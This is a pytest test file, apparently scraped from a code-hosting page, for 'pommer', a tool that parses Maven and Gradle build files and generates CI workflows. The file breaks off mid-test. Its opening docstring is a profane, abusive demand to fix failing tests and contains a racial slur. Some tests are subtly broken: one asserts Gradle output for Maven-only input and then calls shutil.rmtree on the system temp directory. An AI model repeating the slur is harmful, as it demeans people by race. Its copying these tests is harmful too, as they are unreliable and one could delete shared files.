1919 lines
69 KiB
Python
1919 lines
69 KiB
Python
#!/usr/bin/env python3
|
|
|
|
"""
|
|
|
|
Fix this shit!
|
|
|
|
Fucking assfucked shit wont pass fucking 36 Failed and 31 Passed fuck you , fix this you downy black monkey.
|
|
|
|
Requirements:
|
|
- pytest
|
|
- pytest-cov (for coverage)
|
|
- pytest-mock (for mocking)
|
|
- pytest-xdist (for parallel execution)
|
|
|
|
Run with: pytest test_pommer.py -v --cov=pommer --cov-report=html
|
|
"""
|
|
|
|
import pytest
|
|
import os
|
|
import sys
|
|
import tempfile
|
|
import shutil
|
|
import json
|
|
import xml.etree.ElementTree as ET
|
|
from pathlib import Path
|
|
from unittest.mock import patch, mock_open, MagicMock, call
|
|
from io import StringIO
|
|
|
|
# Add the script directory to path for imports
|
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
|
|
|
# Import the module under test
|
|
import pommer
|
|
|
|
|
|
class TestParseXMLUtils:
|
|
"""Test XML parsing utilities and edge cases"""
|
|
|
|
def test_xml_namespace_registration(self):
|
|
"""Test that XML namespace is properly registered"""
|
|
# This should not raise an exception
|
|
ET.register_namespace('', "http://maven.apache.org/POM/4.0.0")
|
|
assert True # If we reach here, namespace registration worked
|
|
|
|
def test_malformed_xml_handling(self):
|
|
"""Test handling of malformed XML files"""
|
|
malformed_xml = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>test</artifactId>
|
|
<unclosed-tag>
|
|
</project>"""
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
|
|
f.write(malformed_xml)
|
|
f.flush()
|
|
|
|
result = pommer.parse_pom_xml(f.name)
|
|
assert result is None # Should handle malformed XML gracefully
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_empty_xml_file(self):
|
|
"""Test handling of empty XML files"""
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
|
|
f.write("")
|
|
f.flush()
|
|
|
|
result = pommer.parse_pom_xml(f.name)
|
|
assert result is None
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_xml_with_bom(self):
|
|
"""Test handling of XML files with Byte Order Mark"""
|
|
xml_with_bom = '\ufeff<?xml version="1.0" encoding="UTF-8"?>\n' + """
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>test-bom</artifactId>
|
|
<groupId>com.test</groupId>
|
|
<version>1.0.0</version>
|
|
</project>"""
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False, encoding='utf-8-sig') as f:
|
|
f.write(xml_with_bom)
|
|
f.flush()
|
|
|
|
result = pommer.parse_pom_xml(f.name)
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'test-bom'
|
|
|
|
os.unlink(f.name)
|
|
|
|
|
|
class TestParsePomXml:
|
|
"""Test Maven POM XML parsing functionality"""
|
|
|
|
def create_test_pom(self, content):
|
|
"""Helper to create temporary POM files"""
|
|
temp_file = tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False)
|
|
temp_file.write(content)
|
|
temp_file.close()
|
|
return temp_file.name
|
|
|
|
def test_minimal_pom_parsing(self):
|
|
"""Test parsing of minimal POM file"""
|
|
minimal_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>minimal-project</artifactId>
|
|
</project>"""
|
|
|
|
pom_path = self.create_test_pom(minimal_pom)
|
|
result = pommer.parse_pom_xml(pom_path)
|
|
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'minimal-project'
|
|
assert result['group_id'] == 'unknown' # Default value
|
|
assert result['version'] == 'unknown' # Default value
|
|
assert result['name'] == 'minimal-project' # Falls back to artifact_id
|
|
assert result['java_version'] == '17' # Default value
|
|
assert result['packaging'] == 'jar' # Default value
|
|
assert result['is_kotlin'] == False
|
|
assert result['build_system'] == 'maven'
|
|
|
|
os.unlink(pom_path)
|
|
|
|
def test_complete_pom_parsing(self):
|
|
"""Test parsing of complete POM file with all elements"""
|
|
complete_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<groupId>com.example</groupId>
|
|
<artifactId>complete-project</artifactId>
|
|
<version>2.1.0</version>
|
|
<name>Complete Test Project</name>
|
|
<packaging>war</packaging>
|
|
|
|
<properties>
|
|
<java.version>11</java.version>
|
|
<kotlin.version>1.8.20</kotlin.version>
|
|
</properties>
|
|
|
|
<build>
|
|
<sourceDirectory>src/main/java</sourceDirectory>
|
|
<defaultGoal>clean compile package</defaultGoal>
|
|
|
|
<plugins>
|
|
<plugin>
|
|
<groupId>org.jetbrains.kotlin</groupId>
|
|
<artifactId>kotlin-maven-plugin</artifactId>
|
|
</plugin>
|
|
</plugins>
|
|
</build>
|
|
|
|
<dependencies>
|
|
<dependency>
|
|
<groupId>org.jetbrains.kotlin</groupId>
|
|
<artifactId>kotlin-stdlib-jdk8</artifactId>
|
|
</dependency>
|
|
</dependencies>
|
|
</project>"""
|
|
|
|
pom_path = self.create_test_pom(complete_pom)
|
|
result = pommer.parse_pom_xml(pom_path)
|
|
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'complete-project'
|
|
assert result['group_id'] == 'com.example'
|
|
assert result['version'] == '2.1.0'
|
|
assert result['name'] == 'Complete Test Project'
|
|
assert result['java_version'] == '11'
|
|
assert result['packaging'] == 'war'
|
|
assert result['is_kotlin'] == True
|
|
assert result['kotlin_version'] == '1.8.20'
|
|
assert result['source_dir'] == 'src/main/java'
|
|
assert result['default_goal'] == 'clean compile package'
|
|
|
|
os.unlink(pom_path)
|
|
|
|
def test_kotlin_detection_via_plugin(self):
|
|
"""Test Kotlin detection via plugin presence"""
|
|
kotlin_plugin_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>kotlin-plugin-test</artifactId>
|
|
<build>
|
|
<plugins>
|
|
<plugin>
|
|
<groupId>org.jetbrains.kotlin</groupId>
|
|
<artifactId>kotlin-maven-plugin</artifactId>
|
|
<version>1.7.10</version>
|
|
</plugin>
|
|
</plugins>
|
|
</build>
|
|
</project>"""
|
|
|
|
pom_path = self.create_test_pom(kotlin_plugin_pom)
|
|
result = pommer.parse_pom_xml(pom_path)
|
|
|
|
assert result['is_kotlin'] == True
|
|
os.unlink(pom_path)
|
|
|
|
def test_kotlin_detection_via_dependency(self):
|
|
"""Test Kotlin detection via dependency presence"""
|
|
kotlin_dep_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>kotlin-dep-test</artifactId>
|
|
<dependencies>
|
|
<dependency>
|
|
<groupId>org.jetbrains.kotlin</groupId>
|
|
<artifactId>kotlin-stdlib</artifactId>
|
|
<version>1.7.10</version>
|
|
</dependency>
|
|
</dependencies>
|
|
</project>"""
|
|
|
|
pom_path = self.create_test_pom(kotlin_dep_pom)
|
|
result = pommer.parse_pom_xml(pom_path)
|
|
|
|
assert result['is_kotlin'] == True
|
|
os.unlink(pom_path)
|
|
|
|
def test_kotlin_detection_via_properties(self):
|
|
"""Test Kotlin detection via kotlin.version property"""
|
|
kotlin_prop_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>kotlin-prop-test</artifactId>
|
|
<properties>
|
|
<kotlin.version>1.8.0</kotlin.version>
|
|
</properties>
|
|
</project>"""
|
|
|
|
pom_path = self.create_test_pom(kotlin_prop_pom)
|
|
result = pommer.parse_pom_xml(pom_path)
|
|
|
|
assert result['is_kotlin'] == True
|
|
assert result['kotlin_version'] == '1.8.0'
|
|
os.unlink(pom_path)
|
|
|
|
def test_pom_with_parent(self):
|
|
"""Test POM with parent project inheritance"""
|
|
parent_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<parent>
|
|
<groupId>com.parent</groupId>
|
|
<artifactId>parent-project</artifactId>
|
|
<version>1.0.0</version>
|
|
</parent>
|
|
<artifactId>child-project</artifactId>
|
|
</project>"""
|
|
|
|
pom_path = self.create_test_pom(parent_pom)
|
|
result = pommer.parse_pom_xml(pom_path)
|
|
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'child-project'
|
|
# Should handle missing groupId/version gracefully
|
|
assert result['group_id'] == 'unknown'
|
|
assert result['version'] == 'unknown'
|
|
|
|
os.unlink(pom_path)
|
|
|
|
def test_nonexistent_pom_file(self):
|
|
"""Test handling of non-existent POM file"""
|
|
result = pommer.parse_pom_xml("/nonexistent/path/pom.xml")
|
|
assert result is None
|
|
|
|
def test_pom_permission_denied(self):
|
|
"""Test handling of POM file with no read permissions"""
|
|
pom_content = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>permission-test</artifactId>
|
|
</project>"""
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
|
|
f.write(pom_content)
|
|
f.flush()
|
|
|
|
# Remove read permissions
|
|
os.chmod(f.name, 0o000)
|
|
|
|
result = pommer.parse_pom_xml(f.name)
|
|
assert result is None
|
|
|
|
# Restore permissions for cleanup
|
|
os.chmod(f.name, 0o644)
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_pom_with_comments_and_whitespace(self):
|
|
"""Test POM parsing with extensive comments and whitespace"""
|
|
commented_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<!-- This is a test POM with lots of comments -->
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<!-- Project identification -->
|
|
<artifactId>commented-project</artifactId>
|
|
<groupId>com.test</groupId>
|
|
|
|
<!-- Version information -->
|
|
<version>1.2.3</version>
|
|
|
|
<!-- Properties section -->
|
|
<properties>
|
|
<!-- Java version -->
|
|
<java.version>8</java.version>
|
|
</properties>
|
|
</project>"""
|
|
|
|
pom_path = self.create_test_pom(commented_pom)
|
|
result = pommer.parse_pom_xml(pom_path)
|
|
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'commented-project'
|
|
assert result['group_id'] == 'com.test'
|
|
assert result['version'] == '1.2.3'
|
|
assert result['java_version'] == '8'
|
|
|
|
os.unlink(pom_path)
|
|
|
|
|
|
class TestParseGradleFile:
|
|
"""Test Gradle build file parsing functionality"""
|
|
|
|
def create_test_gradle(self, content, is_kts=False):
|
|
"""Helper to create temporary Gradle files"""
|
|
suffix = '.gradle.kts' if is_kts else '.gradle'
|
|
temp_file = tempfile.NamedTemporaryFile(mode='w', suffix=suffix, delete=False)
|
|
temp_file.write(content)
|
|
temp_file.close()
|
|
return temp_file.name
|
|
|
|
def create_settings_gradle(self, content, gradle_dir, is_kts=False):
|
|
"""Helper to create settings.gradle file"""
|
|
filename = 'settings.gradle.kts' if is_kts else 'settings.gradle'
|
|
settings_path = os.path.join(gradle_dir, filename)
|
|
with open(settings_path, 'w') as f:
|
|
f.write(content)
|
|
return settings_path
|
|
|
|
def test_minimal_gradle_parsing(self):
|
|
"""Test parsing of minimal Gradle file"""
|
|
minimal_gradle = """
|
|
// Minimal Gradle build file
|
|
"""
|
|
|
|
gradle_path = self.create_test_gradle(minimal_gradle)
|
|
result = pommer.parse_gradle_file(gradle_path)
|
|
|
|
assert result is not None
|
|
assert result['group_id'] == 'unknown'
|
|
assert result['version'] == 'unknown'
|
|
assert result['java_version'] == '17' # Default
|
|
assert result['packaging'] == 'jar'
|
|
assert result['is_kotlin'] == False
|
|
assert result['build_system'] == 'gradle'
|
|
assert result['is_kotlin_dsl'] == False
|
|
|
|
os.unlink(gradle_path)
|
|
|
|
def test_complete_gradle_parsing(self):
|
|
"""Test parsing of complete Gradle file"""
|
|
complete_gradle = """
|
|
plugins {
|
|
id 'java'
|
|
id 'application'
|
|
id 'org.jetbrains.kotlin.jvm' version '1.8.20'
|
|
}
|
|
|
|
group = 'com.example'
|
|
version = '2.1.0'
|
|
|
|
sourceCompatibility = JavaVersion.VERSION_11
|
|
|
|
repositories {
|
|
mavenCentral()
|
|
}
|
|
|
|
dependencies {
|
|
implementation 'org.jetbrains.kotlin:kotlin-stdlib'
|
|
}
|
|
"""
|
|
|
|
gradle_dir = tempfile.mkdtemp()
|
|
gradle_path = os.path.join(gradle_dir, 'build.gradle')
|
|
|
|
with open(gradle_path, 'w') as f:
|
|
f.write(complete_gradle)
|
|
|
|
# Create settings.gradle
|
|
settings_content = "rootProject.name = 'complete-gradle-project'"
|
|
self.create_settings_gradle(settings_content, gradle_dir)
|
|
|
|
result = pommer.parse_gradle_file(gradle_path)
|
|
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'complete-gradle-project'
|
|
assert result['group_id'] == 'com.example'
|
|
assert result['version'] == '2.1.0'
|
|
assert result['java_version'] == '11'
|
|
assert result['packaging'] == 'application'
|
|
assert result['is_kotlin'] == True
|
|
assert result['kotlin_version'] == '1.8.20'
|
|
|
|
shutil.rmtree(gradle_dir)
|
|
|
|
def test_kotlin_dsl_gradle_parsing(self):
|
|
"""Test parsing of Kotlin DSL Gradle file"""
|
|
kotlin_gradle = """
|
|
plugins {
|
|
kotlin("jvm") version "1.8.0"
|
|
application
|
|
}
|
|
|
|
group = "com.kotlin.example"
|
|
version = "1.0.0"
|
|
|
|
java {
|
|
toolchain {
|
|
languageVersion = JavaLanguageVersion.of(17)
|
|
}
|
|
}
|
|
"""
|
|
|
|
gradle_path = self.create_test_gradle(kotlin_gradle, is_kts=True)
|
|
result = pommer.parse_gradle_file(gradle_path)
|
|
|
|
assert result is not None
|
|
assert result['is_kotlin_dsl'] == True
|
|
assert result['is_kotlin'] == True # Should detect Kotlin from DSL
|
|
assert result['group_id'] == 'com.kotlin.example'
|
|
assert result['version'] == '1.0.0'
|
|
assert result['java_version'] == '17' # From toolchain
|
|
|
|
os.unlink(gradle_path)
|
|
|
|
def test_gradle_java_version_detection_variants(self):
|
|
"""Test various ways Java version can be specified in Gradle"""
|
|
|
|
# Test sourceCompatibility with quotes
|
|
gradle1 = 'sourceCompatibility = "11"'
|
|
path1 = self.create_test_gradle(gradle1)
|
|
result1 = pommer.parse_gradle_file(path1)
|
|
assert result1['java_version'] == '11'
|
|
os.unlink(path1)
|
|
|
|
# Test sourceCompatibility with JavaVersion enum
|
|
gradle2 = 'sourceCompatibility = JavaVersion.VERSION_8'
|
|
path2 = self.create_test_gradle(gradle2)
|
|
result2 = pommer.parse_gradle_file(path2)
|
|
assert result2['java_version'] == '8'
|
|
os.unlink(path2)
|
|
|
|
# Test toolchain configuration
|
|
gradle3 = """
|
|
java {
|
|
toolchain {
|
|
languageVersion = JavaLanguageVersion.of(21)
|
|
}
|
|
}
|
|
"""
|
|
path3 = self.create_test_gradle(gradle3)
|
|
result3 = pommer.parse_gradle_file(path3)
|
|
assert result3['java_version'] == '21'
|
|
os.unlink(path3)
|
|
|
|
def test_gradle_settings_file_variants(self):
|
|
"""Test detection of project name from various settings file formats"""
|
|
|
|
gradle_dir = tempfile.mkdtemp()
|
|
gradle_path = os.path.join(gradle_dir, 'build.gradle')
|
|
|
|
with open(gradle_path, 'w') as f:
|
|
f.write('// Simple build file')
|
|
|
|
# Test settings.gradle with double quotes
|
|
settings1 = 'rootProject.name = "test-project-1"'
|
|
self.create_settings_gradle(settings1, gradle_dir)
|
|
result1 = pommer.parse_gradle_file(gradle_path)
|
|
assert result1['artifact_id'] == 'test-project-1'
|
|
|
|
# Clean up and test settings.gradle.kts
|
|
os.remove(os.path.join(gradle_dir, 'settings.gradle'))
|
|
settings2 = 'rootProject.name = "test-project-2"'
|
|
self.create_settings_gradle(settings2, gradle_dir, is_kts=True)
|
|
result2 = pommer.parse_gradle_file(gradle_path)
|
|
assert result2['artifact_id'] == 'test-project-2'
|
|
|
|
# Test fallback to directory name
|
|
os.remove(os.path.join(gradle_dir, 'settings.gradle.kts'))
|
|
result3 = pommer.parse_gradle_file(gradle_path)
|
|
assert result3['artifact_id'] == os.path.basename(gradle_dir)
|
|
|
|
shutil.rmtree(gradle_dir)
|
|
|
|
def test_gradle_kotlin_detection_methods(self):
|
|
"""Test various methods of Kotlin detection in Gradle"""
|
|
|
|
# Kotlin plugin with id()
|
|
gradle1 = 'id("kotlin") version "1.8.0"'
|
|
path1 = self.create_test_gradle(gradle1)
|
|
result1 = pommer.parse_gradle_file(path1)
|
|
assert result1['is_kotlin'] == True
|
|
os.unlink(path1)
|
|
|
|
# Kotlin plugin with full ID
|
|
gradle2 = 'id "org.jetbrains.kotlin.jvm" version "1.7.0"'
|
|
path2 = self.create_test_gradle(gradle2)
|
|
result2 = pommer.parse_gradle_file(path2)
|
|
assert result2['is_kotlin'] == True
|
|
os.unlink(path2)
|
|
|
|
# Kotlin version property
|
|
gradle3 = 'kotlin version "1.6.0"'
|
|
path3 = self.create_test_gradle(gradle3)
|
|
result3 = pommer.parse_gradle_file(path3)
|
|
assert result3['is_kotlin'] == True
|
|
assert result3['kotlin_version'] == '1.6.0'
|
|
os.unlink(path3)
|
|
|
|
def test_gradle_application_plugin_detection(self):
|
|
"""Test detection of application plugin"""
|
|
gradle_with_app = 'id("application")'
|
|
path = self.create_test_gradle(gradle_with_app)
|
|
result = pommer.parse_gradle_file(path)
|
|
|
|
assert result['packaging'] == 'application'
|
|
os.unlink(path)
|
|
|
|
def test_nonexistent_gradle_file(self):
|
|
"""Test handling of non-existent Gradle file"""
|
|
result = pommer.parse_gradle_file("/nonexistent/path/build.gradle")
|
|
assert result is None
|
|
|
|
def test_gradle_file_permission_denied(self):
|
|
"""Test handling of Gradle file with no read permissions"""
|
|
gradle_content = "// Test content"
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f:
|
|
f.write(gradle_content)
|
|
f.flush()
|
|
|
|
# Remove read permissions
|
|
os.chmod(f.name, 0o000)
|
|
|
|
result = pommer.parse_gradle_file(f.name)
|
|
assert result is None
|
|
|
|
# Restore permissions for cleanup
|
|
os.chmod(f.name, 0o644)
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_gradle_complex_multiline_patterns(self):
|
|
"""Test parsing of complex multiline Gradle configurations"""
|
|
complex_gradle = """
|
|
plugins {
|
|
id 'java'
|
|
id 'org.jetbrains.kotlin.jvm' version '1.8.20'
|
|
}
|
|
|
|
java.toolchain {
|
|
languageVersion = JavaLanguageVersion.of(
|
|
17
|
|
)
|
|
}
|
|
|
|
group = 'com.complex.example'
|
|
version = '3.2.1'
|
|
"""
|
|
|
|
path = self.create_test_gradle(complex_gradle)
|
|
result = pommer.parse_gradle_file(path)
|
|
|
|
assert result is not None
|
|
assert result['group_id'] == 'com.complex.example'
|
|
assert result['version'] == '3.2.1'
|
|
assert result['java_version'] == '17'
|
|
assert result['is_kotlin'] == True
|
|
assert result['kotlin_version'] == '1.8.20'
|
|
|
|
os.unlink(path)
|
|
|
|
|
|
class TestWorkflowGeneration:
|
|
"""Test workflow generation functionality"""
|
|
|
|
def test_generate_maven_workflow_single_project(self):
|
|
"""Test Maven workflow generation for single project"""
|
|
maven_info = [{
|
|
"artifact_id": "test-project",
|
|
"group_id": "com.test",
|
|
"version": "1.0.0",
|
|
"name": "Test Project",
|
|
"java_version": "11",
|
|
"packaging": "jar",
|
|
"is_kotlin": False,
|
|
"kotlin_version": None,
|
|
"source_dir": None,
|
|
"default_goal": None,
|
|
"pom_path": "pom.xml",
|
|
"build_system": "maven"
|
|
}]
|
|
|
|
workflow = pommer.generate_maven_workflow(maven_info)
|
|
|
|
assert workflow is not None
|
|
assert "Maven Build" in workflow
|
|
assert "JDK 11" in workflow
|
|
assert "test-project" in workflow
|
|
assert "clean package" in workflow
|
|
assert "maven" in workflow.lower()
|
|
|
|
def test_generate_maven_workflow_multiple_projects(self):
|
|
"""Test Maven workflow generation for multiple projects"""
|
|
maven_infos = [
|
|
{
|
|
"artifact_id": "project1",
|
|
"name": "Project 1",
|
|
"java_version": "8",
|
|
"pom_path": "module1/pom.xml",
|
|
"default_goal": "clean compile",
|
|
"build_system": "maven"
|
|
},
|
|
{
|
|
"artifact_id": "project2",
|
|
"name": "Project 2",
|
|
"java_version": "17",
|
|
"pom_path": "module2/pom.xml",
|
|
"default_goal": None,
|
|
"build_system": "maven"
|
|
}
|
|
]
|
|
|
|
workflow = pommer.generate_maven_workflow(maven_infos)
|
|
|
|
assert workflow is not None
|
|
assert "JDK 17" in workflow # Should use highest Java version
|
|
assert "project1" in workflow
|
|
assert "project2" in workflow
|
|
assert "clean compile" in workflow # Custom goal
|
|
assert "clean package" in workflow # Default goal
|
|
|
|
def test_generate_maven_workflow_empty_list(self):
|
|
"""Test Maven workflow generation with empty project list"""
|
|
workflow = pommer.generate_maven_workflow([])
|
|
assert workflow is None
|
|
|
|
def test_generate_gradle_workflow_single_project(self):
|
|
"""Test Gradle workflow generation for single project"""
|
|
gradle_info = [{
|
|
"artifact_id": "gradle-test",
|
|
"name": "Gradle Test",
|
|
"java_version": "11",
|
|
"gradle_path": "build.gradle",
|
|
"is_kotlin": True,
|
|
"kotlin_version": "1.8.0",
|
|
"build_system": "gradle"
|
|
}]
|
|
|
|
workflow = pommer.generate_gradle_workflow(gradle_info)
|
|
|
|
assert workflow is not None
|
|
assert "Gradle Build" in workflow
|
|
assert "JDK 11" in workflow
|
|
assert "gradle-test" in workflow
|
|
assert "gradlew" in workflow or "gradle" in workflow
|
|
|
|
def test_generate_gradle_workflow_with_wrapper(self):
|
|
"""Test Gradle workflow generation with wrapper detection"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
gradle_path = os.path.join(temp_dir, "build.gradle")
|
|
gradlew_path = os.path.join(temp_dir, "gradlew")
|
|
|
|
# Create dummy files
|
|
with open(gradle_path, 'w') as f:
|
|
f.write("// test")
|
|
with open(gradlew_path, 'w') as f:
|
|
f.write("#!/bin/bash")
|
|
|
|
gradle_info = [{
|
|
"artifact_id": "wrapper-test",
|
|
"name": "Wrapper Test",
|
|
"java_version": "17",
|
|
"gradle_path": gradle_path,
|
|
"build_system": "gradle"
|
|
}]
|
|
|
|
workflow = pommer.generate_gradle_workflow(gradle_info)
|
|
|
|
assert workflow is not None
|
|
assert "./gradlew" in workflow # Should detect wrapper
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_generate_gradle_workflow_without_wrapper(self):
|
|
"""Test Gradle workflow generation without wrapper"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
gradle_path = os.path.join(temp_dir, "build.gradle")
|
|
|
|
# Create gradle file but no wrapper
|
|
with open(gradle_path, 'w') as f:
|
|
f.write("// test")
|
|
|
|
gradle_info = [{
|
|
"artifact_id": "no-wrapper-test",
|
|
"name": "No Wrapper Test",
|
|
"java_version": "11",
|
|
"gradle_path": gradle_path,
|
|
"build_system": "gradle"
|
|
}]
|
|
|
|
workflow = pommer.generate_gradle_workflow(gradle_info)
|
|
|
|
assert workflow is not None
|
|
assert "gradle build" in workflow # Should use system gradle
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_generate_gradle_workflow_empty_list(self):
|
|
"""Test Gradle workflow generation with empty project list"""
|
|
workflow = pommer.generate_gradle_workflow([])
|
|
assert workflow is None
|
|
|
|
|
|
class TestBuildScriptGeneration:
|
|
"""Test build script generation functionality"""
|
|
|
|
def test_generate_build_script_maven_only(self):
|
|
"""Test build script generation for Maven-only projects"""
|
|
maven_projects = [{
|
|
"name": "Maven Project",
|
|
"pom_path": "pom.xml",
|
|
"build_system": "maven"
|
|
}]
|
|
|
|
script = pommer.generate_build_script(maven_projects)
|
|
|
|
assert script is not None
|
|
assert "mvn" in script
|
|
assert "gradle" in script
|
|
assert "Maven Project" in script
|
|
assert "Gradle Project" in script
|
|
|
|
shutil.rmtree(tempfile.tempdir)
|
|
|
|
def test_generate_build_script_empty_projects(self):
|
|
"""Test build script generation with empty project list"""
|
|
script = pommer.generate_build_script([])
|
|
|
|
assert script is not None
|
|
assert "Universal build script" in script
|
|
|
|
|
|
class TestFileDiscovery:
|
|
"""Test file discovery functionality"""
|
|
|
|
def test_find_pom_files_single_level(self):
|
|
"""Test finding POM files in single directory"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
pom_path = os.path.join(temp_dir, "pom.xml")
|
|
|
|
with open(pom_path, 'w') as f:
|
|
f.write("<?xml version='1.0'?><project></project>")
|
|
|
|
found_poms = pommer.find_pom_files(temp_dir)
|
|
|
|
assert len(found_poms) == 1
|
|
assert pom_path in found_poms
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_find_pom_files_nested(self):
|
|
"""Test finding POM files in nested directories"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
|
|
# Create nested structure
|
|
module1_dir = os.path.join(temp_dir, "module1")
|
|
module2_dir = os.path.join(temp_dir, "module2", "submodule")
|
|
os.makedirs(module1_dir)
|
|
os.makedirs(module2_dir)
|
|
|
|
# Create POM files
|
|
root_pom = os.path.join(temp_dir, "pom.xml")
|
|
module1_pom = os.path.join(module1_dir, "pom.xml")
|
|
module2_pom = os.path.join(module2_dir, "pom.xml")
|
|
|
|
for pom_path in [root_pom, module1_pom, module2_pom]:
|
|
with open(pom_path, 'w') as f:
|
|
f.write("<?xml version='1.0'?><project></project>")
|
|
|
|
found_poms = pommer.find_pom_files(temp_dir)
|
|
|
|
assert len(found_poms) == 3
|
|
assert all(pom in found_poms for pom in [root_pom, module1_pom, module2_pom])
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_find_pom_files_no_matches(self):
|
|
"""Test finding POM files when none exist"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
|
|
# Create some non-POM files
|
|
with open(os.path.join(temp_dir, "build.gradle"), 'w') as f:
|
|
f.write("// gradle")
|
|
with open(os.path.join(temp_dir, "README.md"), 'w') as f:
|
|
f.write("# README")
|
|
|
|
found_poms = pommer.find_pom_files(temp_dir)
|
|
|
|
assert len(found_poms) == 0
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_find_gradle_files_both_types(self):
|
|
"""Test finding both .gradle and .gradle.kts files"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
|
|
gradle_path = os.path.join(temp_dir, "build.gradle")
|
|
gradle_kts_path = os.path.join(temp_dir, "build.gradle.kts")
|
|
|
|
with open(gradle_path, 'w') as f:
|
|
f.write("// gradle")
|
|
with open(gradle_kts_path, 'w') as f:
|
|
f.write("// gradle kts")
|
|
|
|
found_gradle = pommer.find_gradle_files(temp_dir)
|
|
|
|
assert len(found_gradle) == 2
|
|
assert gradle_path in found_gradle
|
|
assert gradle_kts_path in found_gradle
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_find_gradle_files_nested(self):
|
|
"""Test finding Gradle files in nested directories"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
|
|
# Create nested structure
|
|
app_dir = os.path.join(temp_dir, "app")
|
|
lib_dir = os.path.join(temp_dir, "lib", "core")
|
|
os.makedirs(app_dir)
|
|
os.makedirs(lib_dir)
|
|
|
|
# Create Gradle files
|
|
root_gradle = os.path.join(temp_dir, "build.gradle")
|
|
app_gradle = os.path.join(app_dir, "build.gradle.kts")
|
|
lib_gradle = os.path.join(lib_dir, "build.gradle")
|
|
|
|
for gradle_path in [root_gradle, app_gradle, lib_gradle]:
|
|
with open(gradle_path, 'w') as f:
|
|
f.write("// gradle build")
|
|
|
|
found_gradle = pommer.find_gradle_files(temp_dir)
|
|
|
|
assert len(found_gradle) == 3
|
|
assert all(gradle in found_gradle for gradle in [root_gradle, app_gradle, lib_gradle])
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_find_files_nonexistent_directory(self):
|
|
"""Test file discovery in non-existent directory"""
|
|
found_poms = pommer.find_pom_files("/nonexistent/directory")
|
|
found_gradle = pommer.find_gradle_files("/nonexistent/directory")
|
|
|
|
assert len(found_poms) == 0
|
|
assert len(found_gradle) == 0
|
|
|
|
|
|
class TestMainFunction:
|
|
"""Test main function and command-line interface"""
|
|
|
|
@patch('sys.argv')
|
|
@patch('pommer.find_pom_files')
|
|
@patch('pommer.find_gradle_files')
|
|
@patch('pommer.parse_pom_xml')
|
|
@patch('pommer.parse_gradle_file')
|
|
def test_main_with_default_args(self, mock_parse_gradle, mock_parse_pom,
|
|
mock_find_gradle, mock_find_pom, mock_argv):
|
|
"""Test main function with default arguments"""
|
|
mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x]
|
|
mock_argv.__len__.return_value = 1
|
|
|
|
mock_find_pom.return_value = ['pom.xml']
|
|
mock_find_gradle.return_value = ['build.gradle']
|
|
|
|
mock_parse_pom.return_value = {
|
|
"artifact_id": "test-maven",
|
|
"name": "Test Maven",
|
|
"java_version": "11",
|
|
"build_system": "maven",
|
|
"pom_path": "pom.xml"
|
|
}
|
|
|
|
mock_parse_gradle.return_value = {
|
|
"artifact_id": "test-gradle",
|
|
"name": "Test Gradle",
|
|
"java_version": "17",
|
|
"build_system": "gradle",
|
|
"gradle_path": "build.gradle"
|
|
}
|
|
|
|
with patch('builtins.open', mock_open()) as mock_file, \
|
|
patch('os.makedirs'), \
|
|
patch('os.chmod'), \
|
|
patch('builtins.print') as mock_print:
|
|
|
|
# This should not raise an exception
|
|
try:
|
|
pommer.main()
|
|
except SystemExit:
|
|
pass # argparse calls sys.exit, which is expected
|
|
|
|
@patch('sys.argv')
|
|
def test_main_with_specific_pom(self, mock_argv):
|
|
"""Test main function with specific POM file"""
|
|
